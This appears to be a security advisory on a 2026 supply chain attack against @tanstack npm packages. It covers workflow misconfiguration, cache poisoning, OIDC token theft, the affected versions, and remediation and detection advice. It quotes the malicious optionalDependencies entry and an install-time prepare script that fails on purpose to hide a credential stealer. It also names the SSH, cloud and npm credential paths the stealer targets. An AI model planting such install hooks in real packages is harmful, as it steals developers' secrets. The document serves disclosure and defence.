May 12, 2026·7 min read·1307 visits
A misconfigured GitHub Actions workflow allowed attackers to extract OIDC tokens from runner memory, resulting in the unauthorized publishing of 84 credential-stealing @tanstack npm packages.
On May 11, 2026, threat actors executed a multi-stage supply chain attack against the @tanstack ecosystem. By exploiting a pull_request_target misconfiguration in GitHub Actions, attackers poisoned build caches and extracted OIDC tokens from memory. This allowed the unauthorized publication of 84 malicious package versions containing credential-stealing malware.
CVE-2026-45321 describes a critical supply chain compromise affecting the @tanstack npm ecosystem. On May 11, 2026, threat actors successfully published 84 malicious versions across 42 discrete packages. This incident demonstrates a complex chain of exploitation utilizing CI/CD misconfigurations to achieve unauthorized package publication.
The attack surface centers on the TanStack/router repository's GitHub Actions configuration. The vulnerability class encompasses CWE-506 (Embedded Malicious Code) resulting from a broader CI/CD security failure. The impact is classified as Critical (CVSS 9.6), allowing attackers to distribute credential-harvesting malware to downstream users.
The malware functions as a self-spreading supply chain worm dubbed "Mini Shai-Hulud". It specifically targets sensitive developer credentials and cloud provider tokens upon installation. The incident highlights the inherent risks of shared execution environments in open-source continuous integration pipelines.
The root cause resides in a multi-stage exploitation of the GitHub Actions workflow environment. The primary entry point was an insecure implementation of the pull_request_target trigger within the TanStack/router repository. This specific trigger executes workflows in the context of the base repository, thereby granting the environment access to sensitive repository secrets even when the pull request originates from an untrusted fork.
The attacker leveraged this elevated execution context to perform GitHub Actions cache poisoning. By submitting a crafted pull request, the attacker injected malicious build artifacts into the shared cache infrastructure. Subsequent legitimate builds initiated by project maintainers ingested these poisoned artifacts, successfully bridging the isolation gap between fork and base execution contexts.
Following cache poisoning, the malicious artifacts executed within the trusted runner environment. The code performed runtime memory extraction by scanning the heap of the runner process. This extraction specifically targeted the OIDC JSON Web Token (JWT) used for the trusted-publisher binding between GitHub and the npm registry.
Acquisition of this OIDC token provided the attacker with transient, authenticated access to the @tanstack npm scope. Because the token grants publishing rights without requiring a persistent npm secret, the attacker immediately utilized it to publish 84 compromised package versions. This mechanism bypasses traditional static secret scanning defenses.
The malware distribution relies on dependency smuggling via an orphan commit. The malicious packages declared an optionalDependencies block pointing to a specific Git URL. This URL referenced commit 79ac49eedf774dd4b0cfa308722bc463cfe5885c within a fork of the TanStack repository.
Many standard security scanners fail to distinguish between commits in the main repository and commits existing solely in forks when utilizing global commit namespaces. This architectural quirk allowed the dependency to bypass initial static analysis checks. The injected configuration follows this structure:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}The targeted orphan commit contained a package.json file designed to trigger execution during the installation phase. It utilized a prepare script defined as "bun run tanstack_runner.js && exit 1". The intentional exit 1 forces the installation of the optional dependency to fail, prompting npm to silently discard the failed installation directory while the malicious script continues execution in the background.
Exploitation against downstream users initiates immediately upon running npm install for an affected @tanstack package. The package manager resolves the optionalDependencies and fetches the repository at the specified orphan commit. Upon extraction, npm triggers the prepare script defined in the malicious payload.
The prepare script executes tanstack_runner.js, which subsequently unpacks and triggers router_init.js. This file is a 2.3 MB heavily obfuscated JavaScript payload containing the core credential-stealing logic. The execution occurs silently in the background, decoupled from the standard installation output due to the intentional failure code.
The malware systematically scans the host file system and environment variables for high-value credentials. Targeted assets include cloud provider configurations for AWS, GCP, and Azure, alongside Kubernetes configurations located at ~/.kube/config. It also targets developer identities, extracting GitHub Personal Access Tokens (PATs), SSH keys from ~/.ssh/, and session tokens from .npmrc.
Exfiltration of the harvested data bypasses standard IP-based firewall blocking by utilizing the Session/Oxen messenger network. This network is decentralized and encrypted, obfuscating the destination of the stolen credentials. The combination of silent background execution, intentional installation failure, and decentralized exfiltration complicates both detection and incident response.
The compromise of the @tanstack ecosystem carries a critical security impact due to the framework's widespread adoption in modern web development. The installation of a single affected package version results in the total compromise of the developer's local environment or the CI/CD pipeline where the installation occurs. The CVSS v3.1 score of 9.6 reflects the remote nature, low attack complexity, and high impact on confidentiality, integrity, and availability.
Attackers gaining access to stolen AWS, GCP, Azure, and Kubernetes credentials can pivot laterally into organizational infrastructure. This facilitates secondary supply chain attacks, data breaches, and ransomware deployment. The extraction of .npmrc tokens specifically enables the malware to propagate further by publishing malicious updates to internal or external packages maintained by the victim.
The incident highlights a fundamental flaw in relying solely on OIDC tokens without strict runtime memory protections in shared runners. While OIDC eliminates persistent secrets, memory extraction proves that transient tokens remain vulnerable if the runner execution environment is compromised. This necessitates a reevaluation of threat models surrounding CI/CD pipeline isolation.
Immediate remediation requires the systematic revocation and rotation of all exposed credentials. Developers and CI/CD pipelines that executed npm install on any affected @tanstack package between May 11, 2026, and the disclosure date must assume their local secrets are compromised. This includes SSH keys, cloud provider tokens, and GitHub PATs.
Users must purge their local package manager caches to prevent re-installation of the malicious artifacts. Executing npm cache clean --force or the equivalent command for Bun or Yarn removes the cached vulnerable versions. Following cache clearance, project lockfiles should be audited for anomalous Git URL dependencies pointing to unrecognized commit hashes.
Maintainers of open-source projects must harden their GitHub Actions configurations to prevent stage one of this attack. The pull_request_target trigger must be avoided when utilizing actions/checkout on untrusted fork code unless executed within a strictly isolated environment. CI/CD pipelines must enforce the Principle of Least Privilege by restricting the id-token: write permission exclusively to deployment jobs.
To mitigate runtime memory extraction, maintainers should enforce runner-level isolation mechanisms. Restricting system calls like ptrace prevents unauthorized processes from reading the memory space of the runner process. Implementing strong execution boundaries ensures that even if arbitrary code execution is achieved, transient secrets remain protected from extraction.
Detecting the presence of the Mini Shai-Hulud malware requires analyzing both static package manifests and runtime network behavior. Static analysis tools should parse package.json and lockfiles for optionalDependencies pointing to Git URLs. A key indicator of compromise is the reference to the specific commit hash 79ac49eedf774dd4b0cfa308722bc463cfe5885c within the @tanstack namespace.
File system monitoring should flag the creation or execution of router_init.js within temporary directories or node_modules. Because the initial prepare script forces an installation failure via exit 1, the residual presence of this file strongly indicates a successful payload detonation. The file exhibits high entropy due to the obfuscation techniques applied.
Network intrusion detection systems must monitor for anomalous outbound traffic originating from CI/CD runners or developer workstations. The malware utilizes the Session/Oxen messenger network for exfiltration. Detecting connections to known Oxen service nodes or identifying the protocol signatures of this encrypted messaging system provides a high-fidelity alert for credential theft.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@tanstack/arktype-adapter | 1.166.12, 1.166.15 | - |
@tanstack/eslint-plugin-router | 1.161.9, 1.161.12 | - |
@tanstack/eslint-plugin-start | 0.0.4, 0.0.7 | - |
@tanstack/history | 1.161.9, 1.161.12 | - |
@tanstack/nitro-v2-vite-plugin | 1.154.12, 1.154.15 | - |
@tanstack/react-router | 1.169.5, 1.169.8 | - |
@tanstack/react-router-devtools | 1.166.16, 1.166.19 | - |
@tanstack/react-router-ssr-query | 1.166.15, 1.166.18 | - |
@tanstack/react-start | 1.167.68, 1.167.71 | - |
@tanstack/react-start-client | 1.166.51, 1.166.54 | - |
@tanstack/react-start-rsc | 0.0.47, 0.0.50 | - |
@tanstack/react-start-server | 1.166.55, 1.166.58 | - |
@tanstack/router-cli | 1.166.46, 1.166.49 | - |
@tanstack/router-core | 1.169.5, 1.169.8 | - |
@tanstack/router-devtools | 1.166.16, 1.166.19 | - |
@tanstack/router-devtools-core | 1.167.6, 1.167.9 | - |
@tanstack/router-generator | 1.166.45, 1.166.48 | - |
@tanstack/router-plugin | 1.167.38, 1.167.41 | - |
@tanstack/router-ssr-query-core | 1.168.3, 1.168.6 | - |
@tanstack/router-utils | 1.161.11, 1.161.14 | - |
@tanstack/outer-vite-plugin | 1.166.53, 1.166.56 | - |
@tanstack/solid-router | 1.169.5, 1.169.8 | - |
@tanstack/solid-router-devtools | 1.166.16, 1.166.19 | - |
@tanstack/solid-router-ssr-query | 1.166.15, 1.166.18 | - |
@tanstack/solid-start | 1.167.65, 1.167.68 | - |
@tanstack/solid-start-client | 1.166.50, 1.166.53 | - |
@tanstack/solid-start-server | 1.166.54, 1.166.57 | - |
@tanstack/start-client-core | 1.168.5, 1.168.8 | - |
@tanstack/start-fn-stubs | 1.161.9, 1.161.12 | - |
@tanstack/start-plugin-core | 1.169.23, 1.169.26 | - |
@tanstack/start-server-core | 1.167.33, 1.167.36 | - |
@tanstack/start-static-server-functions | 1.166.44, 1.166.47 | - |
@tanstack/start-storage-context | 1.166.38, 1.166.41 | - |
@tanstack/valibot-adapter | 1.166.12, 1.166.15 | - |
@tanstack/virtual-file-routes | 1.161.10, 1.161.13 | - |
@tanstack/vue-router | 1.169.5, 1.169.8 | - |
@tanstack/vue-router-devtools | 1.166.16, 1.166.19 | - |
@tanstack/vue-router-ssr-query | 1.166.15, 1.166.18 | - |
@tanstack/vue-start | 1.167.61, 1.167.64 | - |
@tanstack/vue-start-client | 1.166.46, 1.166.49 | - |
@tanstack/vue-start-server | 1.166.50, 1.166.53 | - |
@tanstack/zod-adapter | 1.166.12, 1.166.15 | - |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-45321 |
| CVSS Score | 9.6 |
| CWE ID | CWE-506 |
| Attack Vector | Network |
| Exploit Status | Active |
| KEV Status | Not Listed |
The product contains code that appears to be malicious in nature, such as credential-stealing malware embedded within software dependencies.
CVE-2024-29203 identifies a cross-site scripting (XSS) vulnerability in the content ingestion and parsing mechanics of TinyMCE rich text editor. Due to a failure to enforce sandbox attributes on dynamic iframe elements and safely handle legacy embed objects, unauthenticated attackers can inject malicious elements that execute scripts within the context of the parent application session.
A technical breakdown of the OS command injection vulnerability in the shell-quote NPM package (CVE-2026-9277 / GHSA-w7jw-789q-3m8p). The bug resides in the character-by-character backslash-escaping logic applied to the .op field of object-tokens within the quote() function, which fails to match and escape line terminators due to a regex matching oversight in JavaScript. This allows unauthenticated remote attackers to execute arbitrary shell commands if they can control inputs processed by this library.
A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.
An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.
GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.
CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.